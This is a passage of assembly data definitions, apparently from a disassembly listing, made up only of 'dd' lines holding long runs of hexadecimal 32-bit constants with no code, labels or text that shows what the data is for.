		dd 9028FB35h, 34AD3F8h,	6ED0E3DBh, 6AD30FD6h, 0AD568DC8h
		dd 0E9E23Dh, 3ABDD921h,	0C505876h, 2D652E5Ch, 0B514EE78h
		dd 7CCA93AAh, 95EF690Ah, 360608A2h, 1D282575h, 8CE0C074h
		dd 0FE80FFF3h, 2A9AB600h, 8AC3DD75h, 375F39F5h,	5280CC3Ch
		dd 87A5EB84h, 6A00511Fh, 0B578F7D1h, 3D6B84Eh, 0F00B2B05h
		dd 71808B65h, 7E6E86FFh, 851B01A9h, 2880AA02h, 51AD2A28h
		dd 0F50F87FEh, 0ECA0325Ah, 7B971C9h, 61CC1CD5h,	84FF2156h
		dd 538C47E4h, 800AFBAh,	62D340D1h, 0CE1B1Eh, 31E139A6h
		dd 5A2BB809h, 0A063CA4h, 0A4B956F0h, 4EC00039h,	6C2A30C3h
		dd 2133D524h, 7BB0834h,	0C346E721h, 0B4001B0Ah,	0CE8AC909h
		dd 0FD36D00Ah, 0AE009816h, 4E63C2F9h, 0B0911585h, 0EF1DE074h
		dd 75290369h, 0D840F28Dh, 2F0CAF84h, 60A15168h,	0F1F8C422h
		dd 3B5802F8h, 0D78286A4h, 5E5C0CE1h, 59680C91h,	36145AE0h
		dd 3B082A89h, 0D4F42AE0h, 0FB95506h, 7815892h, 835266AFh
		dd 56D0F1A4h, 8E342545h, 0F1892438h, 945B0F00h,	0F55C78FCh
		dd 4470A419h, 49800808h, 66945332h, 3E0E0AB9h, 0F2FFA77Fh
		dd 0D6E6B300h, 62F8739Ch, 0D596F8D0h, 2668A00h,	0D6E7021Dh
		dd 0CEC3759Fh, 8E83E48Fh, 181009C2h, 183AD23h, 3FB24E0h
		dd 0BD7A7004h, 0C80A7AAh, 198F265Eh, 0B8A12BF5h, 98581821h
		dd 44782940h, 3115Ch, 0EB94502Fh, 52D0EEh, 51DA9D7Ah, 0C3857D17h
		dd 0A04A9028h, 7F52F22h, 7C7198AEh, 82A18451h, 144C555Ch
		dd 2FC34D04h, 0E638642Ah, 0EBC34500h, 74E49EBDh, 13ED008Ah
		dd 8943615Ch, 5606A56h,	0BD72FAF8h, 0E0AE604Ah,	82F915D1h
		dd 0BB68E18h, 63A020h, 7AF42119h, 0F77989C0h, 102460D4h
		dd 8C1DE4D5h, 399926Eh,	5BC39F68h, 15AD24F8h, 0FF20ED60h
		dd 533FB845h, 0C4C42053h, 46F06696h, 884A3E52h,	0C44C2A2Ch
		dd 42E340BAh, 1CE1CC3h,	0A625116Bh, 24E1E9CFh, 0BB008A5Ch
		dd 0B4A4336h, 0E83708h,	1739AE68h, 0CD1F45CFh, 89B02C03h
		dd 1406C266h, 0C82F08F8h, 0BD18A002h, 9085A4DEh, 23FC483Bh
		dd 0FB945AC0h, 22544678h, 5231000Bh, 0AAE02494h, 0DE397982h
		dd 5A849C7Eh, 0E8465030h, 0F1A9CED4h, 0E05FB247h, 5204141Dh
		dd 7313E53Ah, 0F81821C1h, 0F82011B2h, 0E43240D5h, 8922F490h
		dd 42B003h, 0A74ED046h,	1A58F93Ch, 0B5E36800h, 3DD85A50h
		dd 2C031DC1h, 2609FCEEh, 0C400F2C9h, 0A30A8578h, 0A039E8C0h
		dd 0AD10EF1h, 0DFAD7D2Bh, 868801D4h, 24E6FEAEh,	0FF554198h
		dd 439843F0h, 0A2E88153h, 8DF43007h, 49CB2601h,	0B6529513h
		dd 484CB822h, 0A88B5580h, 4484388Ah, 8F3FFD13h,	0C7AE00B8h
		dd 0C95A5B3Ah, 7276003Dh, 20AABF7Dh, 120BB7F4h,	20A10E95h
		dd 0C752E04h, 90F890C4h, 0D7F0188Ch, 291F5103h,	89486401h
		dd 80F3C515h, 211A0998h, 6400213Fh, 58C681E3h, 18D7A2Bh
		dd 3757403Dh, 3159C72Ch, 0FCAC0970h, 0C6413A95h, 0EC1DC03h
		dd 0B86DAE19h, 56220BD3h, 0F4AF0811h, 261498D3h, 54F02C5Dh
		dd 0D490A070h, 7890AE59h, 2573AF0Ch, 128890D2h,	1156266h
		dd 0BB752D5Ch, 28D883C6h, 130C8656h, 409C18h, 168C7BC0h
		dd 4160A23Bh, 4F8A8B10h, 0A5A02C2Ah, 0C58942A8h, 10D578C1h
		dd 0C69880Eh, 0AEE6957Bh, 0CD4556C9h, 697AB030h, 44B0E0C7h
		dd 0D258FF57h, 0A2B04388h, 1DF53017h, 57496300h, 4A715C53h
		dd 0E28E2683h, 3C04ACE4h, 8B8CF124h, 10B120E0h,	36F042C9h
		dd 72568820h, 8938CE12h, 78204792h, 88C3849Dh, 0D1C0FC34h
		dd 8A69D96Fh, 6751C0FEh, 11A43AC3h, 29CB061Ch, 6893D003h
		dd 2C21E819h, 0F655247Dh, 0F02E4290h, 0D9A59F01h, 0E130A053h
		dd 8097021Ah, 0BA746199h, 0B5F050ACh, 400037CFh, 27A1E687h
		dd 902A8159h, 70CD44D0h, 0D79BE105h, 0C0606061h, 420EBD22h
		dd 0CCA677B7h, 0D8BBAE29h, 0B202A442h, 527060D4h, 57BA80B6h
		dd 0D0FFE713h, 0C051C008h, 2A2BC349h, 0B7224446h, 0C341E203h
		dd 0F661AE1Eh, 0FE162070h, 0C27E8FA0h, 5C4950AAh, 7C2AFC55h
		dd 0B4857B3Ah, 888E20A9h, 1CC0E988h, 6203ADCh, 155FAAEh
		dd 0D8196013h, 0B028D645h, 24A52EF8h, 44F8C6DBh, 643060F7h
		dd 4D89234Fh, 46021411h, 0A6DC6428h, 0A40F1440h, 60B51880h
		dd 8882B98Eh, 5100D0EFh, 0D16AE096h, 924984C3h,	66FE090Ch
		dd 1772h, 5CCBAEAFh, 95799406h,	8440B3E2h, 0D1A0912Ch
		dd 9CF1806h, 0F489C7DAh, 0FAA29481h, 7184707Ah,	42BD791Dh
		dd 0F820B069h, 48D38226h, 98142765h, 84A82C9Ch,	0B0DAE80Ah
		dd 7FD5BB80h, 3E35089Fh, 88AE997Ah, 79404050h, 0D00956C9h
		dd 22668689h, 4048F97Ch, 0F1FD1AD4h, 54096400h,	1C055E13h
		dd 0EA736840h, 98B42F0h, 7C95991h, 0F485C827h, 243E42B4h
		dd 0D3EE00AAh, 8098F92Ch, 0D6BCE610h, 50071405h, 13203C24h
		dd 1848A746h
		dd 209D722h, 212E7536h,	0F721C080h, 80CA9C43h, 282D87Bh
		dd 6E8D4374h, 0DC800386h, 0D488F32Bh, 0A4B033E8h, 203FE430h
		dd 86E9ED60h, 8155FB01h, 664C8AB3h, 90E83720h, 7CA31C08h
		dd 8C2860D5h, 0A481C56h, 8CB4BCB4h, 852C781Bh, 4F5003B6h
		dd 0D9D5E5Ch, 6059D009h, 0E58085C6h, 8E28B0D0h,	0C82061BAh
		dd 8199ACCBh, 565A4F89h, 242195h, 26BC918Eh, 0B8613D64h
		dd 24067BAFh, 8E2C8A84h, 0B8B03472h, 0D9B9065h,	0B8D168E4h
		dd 3F304238h, 0D0A0E04Ch, 0DC905A58h, 0EC44E0A6h, 0B2F10011h
		dd 394E0D7Ah, 0C8489151h, 2E56177Eh, 0D913345Ch, 60DF3C97h
		dd 0FB604ADAh, 0F6670492h, 0EC84C51h, 5253C397h, 0BAD8B988h
		dd 2495EEECh, 308A51Eh,	74B35A37h, 0A4A0B0E2h, 27AFCEA9h
		dd 5DDC8F01h, 751E180Bh, 48929830h, 0B5108C07h,	95780B0Ch
		dd 3070291Ah, 4F16F6Ch,	0CD859FEEh, 8A8C8003h, 9CF7D25Eh
		dd 403889B8h, 0A137001Ah, 84175824h, 0F31FF635h, 82521D67h
		dd 857D6402h, 0BA5C48B6h, 0C0A1DCAEh, 0C0994E3Bh, 0C100BC9Dh
		dd 8691FD8Eh, 3407B33h,	8D12F2E9h, 3805D252h, 0D175682Ah
		dd 1D0EC55h, 3272BEEFh,	0C0202417h, 0E2E4431h, 69EA5532h
		dd 71B4510Ah, 0F518BBh,	53D04057h, 28878A81h, 0C8A6B00Eh
		dd 9D8D232Ah, 3C8813FCh, 0E02C805Dh, 1606F23h, 0B0E97098h
		dd 2C30C57h, 2B59B6BAh,	5C66C603h, 6962D69h, 5540EC1h
		dd 590520F1h, 1E681A39h, 96709804h, 442998B0h, 9D1518F6h
		dd 1CD4A2B2h, 28135A71h, 945FA461h, 877C79C0h, 94573600h
		dd 1F02BD04h, 0D2A52ABEh, 93D820DCh, 0D1005ADFh, 45E1BA21h
		dd 0A6041CCh, 2B9365Ch,	94F805ACh, 32C490EAh, 0B0B8C0A0h
		dd 1AEE7800h, 6042615Ch, 973E437h, 8D2DD4B5h, 2708D829h
		dd 22691ED0h, 23DA7412h, 83BAA0D8h, 0C6A8480Bh,	56FCA1DCh
		dd 8D100376h, 0FE807B34h, 47FC12A4h, 17E4D883h,	204EA781h
		dd 9D782311h, 43A9B97h,	0ED00BA23h, 53F6A92Fh, 68F26237h
		dd 2B0504B2h, 20E23082h, 3725241Ch, 0FA9FFB00h,	0C70CE342h
		dd 295B091Dh, 15839F0h,	85EAE927h, 0A0C05448h, 0D0D9560Fh
		dd 0B516E871h, 0E0A442B2h, 0F8A0F227h, 2232614Fh, 8781C100h
		dd 56C70BD2h, 4CFC597Ah, 71064160h, 3612F2E1h, 3C43E5D9h
		dd 0D9223750h, 0E4C319B3h, 1894CA4h, 1E824BDh, 84FC25E0h
		dd 0E1E9E769h, 0C3F0748Ch, 0C410D819h, 66013802h, 0A9E6F7A2h
		dd 0F6AC0580h, 92F40D8h, 45894E64h, 80BD3865h, 5FF96427h
		dd 417B299h, 0A2805B2Ah, 0C41C8F94h, 107ED8DDh,	66B8D8DDh
		dd 0C4859015h, 28AC74h,	4832FF4Ah, 4769EAE6h, 6A66890Dh
		dd 0F0F47010h, 0C8A64D84h, 0E9E5D860h, 0C0A0A2E8h, 7B0B6B5Bh
		dd 90ACBE95h, 84FBB3ACh, 4656D89Ch, 1B5D0206h, 612AB736h
		dd 0AC41DEF4h, 2024D9E8h, 64A10B5Ah, 3507861Fh,	0AB2681D3h
		dd 0CE1064FDh, 278A1B18h, 0C407A151h, 13F9BB90h, 105AACCCh
		dd 22F153Eh, 0B01125A4h, 8BCC47Ah, 1EE2662Ah, 0BB752905h
		dd 0D46354A1h, 6D011500h, 61CBB1F2h, 0B044874h,	2A568D24h
		dd 0EEF0BC90h, 9E8C12B5h, 0C10484D9h, 5AB7A90h,	2F7AC0Bh
		dd 0F1030Ch, 0C7DB7C06h, 12F4643Eh, 6C419D56h, 0D8F97566h
		dd 39558440h, 0A8A701F3h, 25A5A06Dh, 189832DDh,	9F7828B8h
		dd 0D56A06C0h, 0D00FF008h, 81645932h, 1E9882D0h, 85B500FEh
		dd 90C2A8CAh, 408B0918h, 0FAEF8CFDh, 2FE8A6F6h,	20043907h
		dd 7BF4C0D0h, 0E9F897F0h, 3E1880FBh, 1EC73268h,	31D8B0C6h
		dd 7C1805E1h, 0C8DD4485h, 9D2A7D10h, 245C88FBh,	18563001h
		dd 5246C075h, 120148A1h, 58648809h, 0A6C2017Ch,	37D0640Eh
		dd 9051D2Ch, 2175E794h,	225C2068h, 7C0E1E3Eh, 82F3D55Bh
		dd 809F049Dh, 0A1FEF054h, 2E8D122Ch, 0C60407CFh, 0D10198D4h
		dd 0D30C3367h, 13980C24h, 0CC1B8526h, 69E15924h, 24384264h
		dd 9F06D842h, 0F8592AA5h, 11E84A66h, 4480FC54h,	0A5E73839h
		dd 43C56340h, 300CD6E4h, 9107B0F2h, 3748A28h, 0AD146260h
		dd 9D7A50B0h, 7CA49EF2h, 91CB8635h, 4647BC83h, 0C5240CA9h
		dd 0D0699B44h, 68C03BC7h, 0AA0AC4B5h, 58F70D8Ch, 0EA1E923Ah
		dd 258DAC03h, 4F1832D3h, 64514080h, 59B2F981h, 0EE18ED5Ah
		dd 0F21288h, 0E13896B2h, 93485DFAh, 1E55D200h, 0D4C27B01h
		dd 9294E35h, 0C4E0507Ch, 0BA526902h, 0AF9103CCh, 9FA5EC53h
		dd 0E8210685h, 20340189h, 32F800C4h, 126970C0h,	27007F8Bh
		dd 0EAEC6FFBh, 141198CDh, 0A4C65A64h, 0D00AD884h, 311DB820h
		dd 7BB29701h, 0FD33D59Ch, 2D011460h, 0E02E8804h, 8D780931h
		dd 60F4E2D2h, 8107E130h, 0C20430F0h, 7CCB61C2h,	0F24F8E9h
		dd 0F1E88E7Fh, 84CCC113h, 0DF242CDFh, 0D0411B13h, 4915E5Ah
		dd 0DB22508Dh, 0C0DC3878h, 0BFAFD49Ch, 2E4213E3h, 1841D48h
		dd 7F04DC07h, 0FFD18005h, 0E8F46554h, 0AE11C0E0h, 0C7B70A2Ah
		dd 6A826100h, 91894DB4h, 31F200EAh, 93878A66h, 0A03ACC83h
		dd 39E830FFh, 67ED365Ah, 59D8900Bh, 0A7603C44h,	65AD2BE9h
		dd 0A59C83E8h, 0B1389168h, 6BDA7000h, 5C71BE72h, 0C0A1090h
		dd 0A8942298h, 0D0FFEE87h, 89817341h, 0D3D54180h, 0FD5CC3AFh
		dd 0B72630CFh, 814C1C20h, 1F1924BEh, 732B064Ch,	58A399B8h
		dd 0CA2C8AFh, 61045C0Fh, 0AA8E44B3h, 0EC72C4E1h, 0C930BDF2h
		dd 0FE5C006Ch, 236D643Dh, 0D748FDB3h, 22BB8024h, 0E86FDEh
		dd 68C8AB4Eh, 598529EEh, 31E9B092h, 0BB2FC868h,	0F40364B0h
		dd 0B5AD2A21h, 63200CD4h, 0A071D6D0h, 0A2815504h, 5C9CD3FDh
		dd 5EA0B70h, 2B86DBC4h,	581319ABh, 0F31DD6F4h, 98526305h
		dd 7536B381h, 8B86C4h, 0D134A5E1h, 30E8DA21h, 0ECEFD503h
		dd 88589C52h, 4C64F71Eh, 2510880Ah, 25F0222Ah, 8108F53h
		dd 401B423h, 0B519725Bh, 3472A74Ah, 369D2C78h, 7EBCAC98h
		dd 4D53D21h, 48E6FECEh,	20875E9Bh, 0C0783C08h, 13165E89h
		dd 0FFB383h, 0AA6FF9E1h, 961EB57h, 0E64D2100h, 89CE0845h
		dd 0B02C0956h, 0D02D0BE9h, 0CF02D069h, 44352726h, 0F804946Fh
		dd 787234h, 3A746006h, 1A205E10h, 6F560F02h, 8B510E43h
		dd 0DCC000Ch, 1B446155h, 8201C06h, 14F164E0h, 7C65583Ah
		dd 3D6C5F00h, 3F696710h, 0C63EA08h, 73550540h, 20335F28h
		dd 0F811613Ah, 0F0326562h, 342E3C63h, 0F1015D3Ah, 3F6157F4h
		dd 4079E40Ch, 0A1E1600h, 1FFCAADEh, 0FC018F1h, 41280920h
		dd 44601360h, 75432C1h,	431AED23h, 45D0FCF1h, 80590933h
		dd 356EA117h, 4C18A0B7h, 695411A1h, 0A1F3D08h, 21C6260h
		dd 38FA64CAh, 0DE098030h, 725403F6h, 6E5F0A44h,	202C881Eh
		dd 0CFA13C0h, 0C550914h, 3DEA3C63h, 0F00DD38h, 0FCAB3525h
		dd 33063942h, 43326B53h, 14C10E98h, 0ADDB6400h,	440723Fh
		dd 0E14E6739h, 53C5423Dh, 61F08080h, 44E8346Fh,	43C5454h
		dd 4191680h, 0EF1A7459h, 344280Fh, 4F640A49h, 71E4F526h
		dd 0CC435043h, 3C75E510h, 21A66CE0h, 2D11D6D3h,	0F4167848h
		dd 0F02C0B94h, 458EE082h, 92108E0h, 20015494h, 463495EFh
		dd 84018A4h, 3F0030A6h,	2061568Dh, 2640D6EAh, 0A242482Ch
		dd 53176058h, 62782176h, 75B024FAh, 8B01B617h, 0B4580819h
		dd 0F06C6409h, 4184A0C8h, 9624B5EEh, 1009D089h,	873C480Ah
		dd 2E71C7D1h, 2C2CFA75h, 20604CC4h, 28BAA520h, 0B07C86FFh
		dd 0DBC12E60h, 195745B0h
		dd 9A95868h, 78619061h,	0D14EB898h, 5630D04Fh, 95EE5943h
		dd 87609892h, 0E1751094h, 881A4608h, 1AE071B8h,	3671CCC8h
		dd 0CFE8A0Ah, 2DA5162h,	686A73E8h, 2555E040h, 36D90E89h
		dd 0E4200865h, 0E0D844F1h, 81C0255Ch, 0CB2A957Ah, 6352A040h
		dd 0B41C5DE8h, 8C2F0F22h, 42181066h, 3028C034h,	78DCA5C3h
		dd 0C1169516h, 20352021h, 0A4F64053h, 458D2B01h, 948200F1h
		dd 37A05EDh, 5EB0265Ah,	249D15ACh, 8B406400h, 0C47529D4h
		dd 6E8A98A8h, 880FE634h, 5C54E2C0h, 857815A4h, 5078B0A1h
		dd 472403Eh, 0F32C29C3h, 18048D88h, 4584FD44h, 15DC4AB8h
		dd 4840D74h, 15068E82h,	398AD4A8h, 6A48A8BCh, 80441C8h
		dd 2ABED19Dh, 0A5430CB8h, 9590C021h, 1CA8B0C8h,	0F2248B46h
		dd 179DC148h, 66FF00B8h, 12EF9CAh, 3B24B460h, 0AD4091E1h
		dd 93F8EE9Dh, 0E1949D4Fh, 0A010B9A2h, 625C25C8h, 8592E805h
		dd 30B2F6h, 0B9E11929h,	1EB8A665h, 0C3A0B642h, 0F926755Bh
		dd 8B462C00h, 514FFAA4h, 808096BAh, 0D78C1E7Ch,	0D900D85Ch
		dd 0F8DAAA0Fh, 0BE50FC78h, 0FE237CACh, 3FEF003h, 0E84FC385h
		dd 1D1640F4h, 5CC94239h, 371DEB56h, 3225FB5Ch, 2400A864h
		dd 166A1A35h, 2BB99E3h,	0D2989A8Fh, 0B88468F1h,	0EBCB341h
		dd 285AB2FAh, 0F3D073F5h, 0D0090B2h, 0DC5AA424h, 52072E8h
		dd 0F2AA076Ch, 470C4A9h, 8D22A29Ch, 0B9200248h,	32EE3052h
		dd 126C0100h, 3BF52106h, 880E02FAh, 0F0E94978h,	0FC8B90E8h
		dd 0DFB00800h, 0C866CF2Ch, 14F44D68h, 9201FD13h, 34D12660h
		dd 0FE945D81h, 2C2F6C78h, 55003480h, 0F9EF1094h, 181B49F0h
		dd 99B1BAFFh, 8200918Ah, 0C1D9DC18h, 0E6C2CD07h, 3674032Eh
		dd 0F989E290h, 70526905h, 1CF2F069h, 0C36E8D04h, 0AFE88226h
		dd 9240047Ch, 0CCE2C31h, 0F78A2350h, 0C8004D41h, 0EEF384E0h
		dd 20B014h, 4002295Ah, 0FF349D8Ah, 108C824Ah, 34644AE0h
		dd 0BC8CBCE8h, 187F8C03h, 59F68937h, 178068CAh,	0DC1A3E27h
		dd 0D2E0456h, 0EC958B18h, 8CB9BC0Ch, 12639E07h,	0E30AC08Fh
		dd 0E081542Eh, 0D2CDB957h, 2F2EF0E9h, 1F1A230Ch, 0B2DFE3h
		dd 960FAD4Ah, 9F008B56h, 37D6AEB0h, 9538A35Ah, 0E6918C17h
		dd 8A0B7681h, 708857FDh, 9349F966h, 0C4E11C00h,	234AEBC7h
		dd 6064119Fh, 22484CA6h, 1EB20013h, 386EE0C2h, 0E30E7FC9h
		dd 0C066DC63h, 5E8B7985h, 989018h, 0E51D5C4h, 73B0910Bh
		dd 4041A86Fh, 17DE2237h, 50FA14D9h, 17BC906Ah, 7A5738Ch
		dd 0F0A60FFh, 6A97C59h,	8BDCAA00h, 4289AD2Eh, 0CC379788h
		dd 8743729Fh, 1A7A2h, 148A6519h, 21B8FF66h, 2823D509h
		dd 0E110042Ch, 0E1EA8E3h, 0FDF04387h, 0B0E22A99h, 59548221h
		dd 13A20874h, 1491334Eh, 5BC7067h, 3EEC028Ch, 0C18B5159h
		dd 10A810C1h, 0B03DE57h, 0C877E38Ah, 0B85A0804h, 8C05B8FCh
		dd 7BE4DE00h, 83415B31h, 0FEC709E5h, 7018D47Fh,	589C61E7h
		dd 0F20E477Ch, 6687170Eh, 5F70D28Bh, 0C90129E0h, 0F85AD8D9h
		dd 9900A7F8h, 4EB83258h, 16A51582h, 3060E1ACh, 0E097D5B4h
		dd 1DAB1107h, 86C04252h, 280CDFE1h, 1F805BA3h, 0C3261C3h
		dd 8A59027Ch, 0CA458h, 0CECB8F66h, 708C938Bh, 7C749C08h
		dd 0CDCE82Ch, 30443192h, 0E4F688F5h, 927FD10h, 8E04B201h
		dd 880D670h, 67936150h,	88C748A9h, 8B20286h, 0F2E64328h
		dd 4F5098F0h, 8A941861h, 0B57B21E8h, 74D9652Eh,	0F0875203h
		dd 631879EFh, 0EAE7390Bh, 67524117h, 0B52AD890h, 0E039C769h
		dd 0CC515D26h, 0B01DA91Fh, 1C0D811h, 721C351h, 0F5C8007Ch
		dd 0E0BFF9A3h, 0ACAA0924h, 0CC8C3087h, 754A2BA1h, 0E9853040h
		dd 320FCAAAh, 0D0209756h, 0D0581041h, 0C31813A5h, 0F11970BAh
		dd 0F57417EEh, 0F6C404A8h, 0B02101CCh, 9EF04BF0h, 91831748h
		dd 2D8400BDh, 5A65FBC5h, 66EBF919h, 4C71F108h, 724B8F4h
		dd 0FAFAAD4h, 0E64C4A55h, 477CB8C5h, 0B1C4D515h, 30AB22E0h
		dd 0BB485043h, 0A419B480h, 28F0DAF9h, 3846AA12h, 0C840564Ah
		dd 0AC0A0826h, 0F67430B0h, 56C7EF48h, 66F26E25h, 642B584Ch
		dd 8838D93Ah, 8FA8E124h, 21F8A169h, 0E9728908h,	0B6F8FA54h
		dd 0A39E8517h, 0B800E457h, 4EEFC29h, 0D9633FF5h, 51607161h
		dd 223C2CDFh, 915B05D2h, 5170BB7h, 8CA282E6h, 69FEAB24h
		dd 3C2F200h, 7BCBC164h,	9C42E9ACh, 0F9EA22A2h, 0D52520E0h
		dd 0EFFB90A9h, 0A0CD1022h, 2C2310h, 1B5C57C4h, 8A9132F8h
		dd 99C1F160h, 24A11080h, 427484FEh, 0BCA1FB30h,	0D45640F3h
		dd 0DB5C2361h, 4CCF90h,	7174A2D8h, 0FB8D0DC3h, 0DCB03735h
		dd 0AC241AD3h, 89112CB8h, 5EB32C00h, 60B2FC2Ah,	0A7428C01h
		dd 0F151473Ah, 7D4C202Eh, 2A0BB2D3h, 0EBB7294h,	83CC9E55h
		dd 321B21D2h, 8858AFABh, 30BC8828h, 0B3021180h,	795D0966h
		dd 0C040498h, 24D45019h, 28A0A80Ah, 7F1860ACh, 5E210E85h
		dd 38252526h, 0FBD7485h, 0D8E55A0Ch, 4B0CE223h,	38303C21h
		dd 0E2B7D0h, 752A6C46h,	0F58B0935h, 3C0A14ACh, 3029265Ah
		dd 4F238508h, 4050158Bh, 6987D830h, 7755C51h, 0A9438B50h
		dd 58DD107Ah, 160CCAA2h, 2907D94Ah, 0D0D71CFFh,	0E79980F5h
		dd 22E0F72Ah, 8904E148h, 2868885Ah, 0D72F105Eh,	0F346E8C8h
		dd 0A0CAED20h, 0B5DD4A2Ch, 3C9B9090h, 73AFFE17h, 69D06C97h
		dd 93202D5h, 8B362A9h, 0C861C19h, 0A2A765Bh, 0A0D9C249h
		dd 0DB960898h, 7A1C5142h, 0CBE5464h, 21224255h,	174588E6h
		dd 8909D70Ch, 0A53F007Bh, 584C2A8Ah, 0E02EFA61h, 6F41082Dh
		dd 0FEE839D7h, 11C918Bh, 4DB122CAh, 5FF82031h, 4725207h
		dd 5510B4B0h, 0B04FB981h, 96FC0980h, 0C5A89FFh,	7B1E2370h
		dd 44BE0204h, 7E64001Ah, 166840C2h, 0A40F0A25h,	2B1D2866h
		dd 29DC0D62h, 0F2B7D0h,	525B2A96h, 6368589h, 66430F1Eh
		dd 0D1F18000h, 0FE0222Ch, 51148269h, 717790C0h,	0F1F4EEE8h
		dd 0B98B4F00h, 29E52011h, 2C3058F4h, 0D898924Eh, 733848C4h
		dd 0A48F8028h, 0AB74D7C9h, 569C00C0h, 72B157BBh, 5317D4EEh
		dd 20124E64h, 303BC8E5h, 0FA7452F4h, 1D06D90Fh,	416DA571h
		dd 44258CD2h, 6A97308h,	0E954DE6Ah, 0A43B39F9h,	7AB90080h
		dd 0B3949EEEh, 487B48B0h, 22375680h, 0D409E3C7h, 0A357D8FFh
		dd 0D34787ACh, 358BF01Eh, 6CC600BFh, 0C7FC1F5Dh, 9F14973Ah
		dd 18044FDAh, 3F1118BEh, 9640006Ch, 544D8E6Bh, 0FF981C20h
		dd 37CD2302h, 4029A2C0h, 7CD44A81h, 27A80655h, 406F96B8h
		dd 500CAAF0h, 769B64BDh, 285B603Eh, 1D9DDB1Ch, 40DA40C1h
		dd 3840AD1Bh, 19985054h, 2029B9F5h, 9CD9F47Dh, 404FDB07h
		dd 0D5104C26h, 75AAEDh,	81DC121Dh, 0BA84A3E1h, 96441900h
		dd 212898D9h, 0C9720058h, 6FC812B1h, 2C0ABB50h,	44A727A1h
		dd 35513918h, 74313028h, 0F3211431h, 80179937h,	7F59C7E0h
		dd 1E553ED3h, 18606D3Ah, 0A545D5DBh, 5422D980h,	7F88E5h
		dd 0D67CE57h, 91D5974Ch, 18943B52h, 9830568Fh, 0FC3578AEh
		dd 2210C079h, 0C4884623h, 191170DFh, 0EC9F6578h, 74CC1C98h
		dd 3F940320h, 0E80199CAh, 0B18F8AC6h, 0CD21529Ch, 7FDAC087h
		dd 3E4FF05Fh, 29C89B13h, 567D42B6h, 0D0218B24h,	23B2129Dh
		dd 0A988DF96h, 0DC03DA99h, 0C840A2A4h, 6C44A89Eh, 37A0007Ah
		dd 50237D65h, 820C1DFFh, 91C02DFh, 0BD9C0042h, 0BA7344F5h
		dd 0A7070D6Eh, 0F0FCB7B6h
		dd 2784760h, 12BC006Ch,	0C1B194EFh, 7CF01561h, 0DB66FC00h
		dd 28F21E9Fh, 160731E0h, 40E829h, 63FE95h, 41033A9Dh, 175D6EACh
		dd 67378D01h, 0EDBA0C96h, 2EA8E8h, 38AE7072h, 2016B880h
		dd 6A004271h, 66D8DD74h, 0F99F7Fh, 8F930268h, 428995FCh
		dd 1C44AE48h, 23DD4DDCh, 16784800h, 7E28D9h, 0A22CD31Ch
		dd 0A335CEF8h, 5B55F700h, 4DBF981Dh, 0B604A01Ah, 2FAB3DDEh
		dd 0C1B4E59Fh, 0F0902967h, 0FD99E0F6h, 64320D00h, 0E8D0A084h
		dd 0C5E8C0F1h, 12BF5695h, 0BECA800h, 14086568h,	0E89E0045h
		dd 424BE97Dh, 0F228F1E4h, 41002010h, 362B01E5h,	1A9ED61h
		dd 3EE7EF3Bh, 2054F847h, 820064E8h, 729D6934h, 5463E986h
		dd 62AA8D2h, 0E1703085h, 0E20010BBh, 8BA734F5h,	6053D1ABh
		dd 55C129C3h, 6E1E940Fh, 0B812BA4h, 0D07B68CAh,	0C7E9C8h
		dd 8411B84Ah, 31094C63h, 0E2FCD20Ah, 86BFE05Fh,	10A9E819h
		dd 7C5CEE11h, 0F6C80A85h, 80F84CC4h, 0ADF8B743h, 6D00DFB0h
		dd 0F392E05h, 0A57118h,	9A0DDE46h, 0D689296Eh, 715F009h
		dd 4C8D0074h, 1455A6Dh,	0DFFEA49Fh, 22788495h, 13E3F28h
		dd 0F2BC89AAh, 14210A59h, 1F3FD6D8h, 40548605h,	0ABF7A857h
		dd 5C0074F8h, 0A5FD353Bh, 39D0E651h, 5E00BEC5h,	6CCD3D27h
		dd 0A048493Ah, 420100C0h, 1CE6E37Eh, 3E2037Bh, 0F9E4791Bh
		dd 0F6C09DE0h, 0B79A151Eh, 0DC042D80h, 680141A7h, 0F609DEh
		dd 0C94AFF17h, 2C072018h, 0B0F654EEh, 0DB1DEBD0h, 7E19074Bh
		dd 97CC6E55h, 90F777E4h, 0CF1588C5h, 46DB6505h,	0A81DE227h
		dd 0AFB006C0h, 502B0E41h, 516CF068h, 96EC8091h,	3FA100BEh
		dd 0DD6EDAD1h, 926BBD4h, 16008670h, 0AA299BE1h,	0B1430FF4h
		dd 0F96E6023h, 5D363D80h, 0A160B7EAh, 0F69979F0h, 0C480003Bh
		dd 92753AF3h, 73003CF1h, 6F38F5CAh, 0E44FF2ADh,	0C6C7BA5h
		dd 76099950h, 4E1FC809h, 5100078Fh, 95C39890h, 0F0F962DCh
		dd 0CA4075D3h, 2B07BC49h, 0D4049982h, 334765E0h, 0E0DE0092h
		dd 9518ACE8h, 41008169h, 1E4825C0h, 67010Bh, 60A329BDh
		dd 832D5364h, 0BB4EBE7Bh, 0DDC7E0h, 76370CDh, 4A04EAABh
		dd 0BA3DFD73h, 53B6869Fh, 12E162ACh, 4076B7C9h,	0B1EBF5C4h
		dd 1524F34Bh, 9F0048AEh, 0B28DAA38h, 82B00F8h, 3592D80h
		dd 9B00CFE6h, 0A946737Fh, 980F8Fh, 26A7DC8h, 4F9D2721h
		dd 0E7A31501h, 5E59B0AAh, 0EA052DCCh, 783959D0h, 640F2B00h
		dd 52614256h, 138CC113h, 79A24201h, 4CF886FAh, 0F1D500BEh
		dd 8B672CF0h, 6B72616Fh, 38BC4D00h, 10599EE1h, 58BD77DAh
		dd 2A001495h, 2D91888Ch, 0BC008DA3h, 968B8346h,	6F6B28h
		dd 748044A2h, 22D1C3A5h, 0B19B490h, 33094524h, 215130h
		dd 0A2FAB434h, 2165769h, 1B0E3B73h, 24F790F0h, 0E8900958h
		dd 27D6670h, 3ADEE9BDh,	0B9C0C6D0h, 35001A2Ch, 0D4017AB6h
		dd 0BE34F0h, 0DFECA78Ah, 9B469006h, 0C9DC3000h,	5D412345h
		dd 3BA509C2h, 8808DFAh,	0C47571F5h, 57723A00h, 5F4D38B6h
		dd 1D7E285h, 534EA113h,	0EC5218A9h, 0FC016FACh,	0F56D7103h
		dd 596046B6h, 89AD1256h, 0CF840033h, 0C7EA4B3Ch, 0CDA46A03h
		dd 76B8B253h, 7C390068h, 611FFB25h, 78037496h, 9B93C9E2h
		dd 80C1B47Ah, 0B9202679h, 3F5EA3Dh, 0E39A8710h,	9BD8EC8Bh
		dd 55097CFEh, 0F7BD1Ah,	7DB3454Eh, 6CC200A5h, 67632A18h
		dd 220026DBh, 0B6DFA261h, 0E88B233h, 72A7A908h,	521B6303h
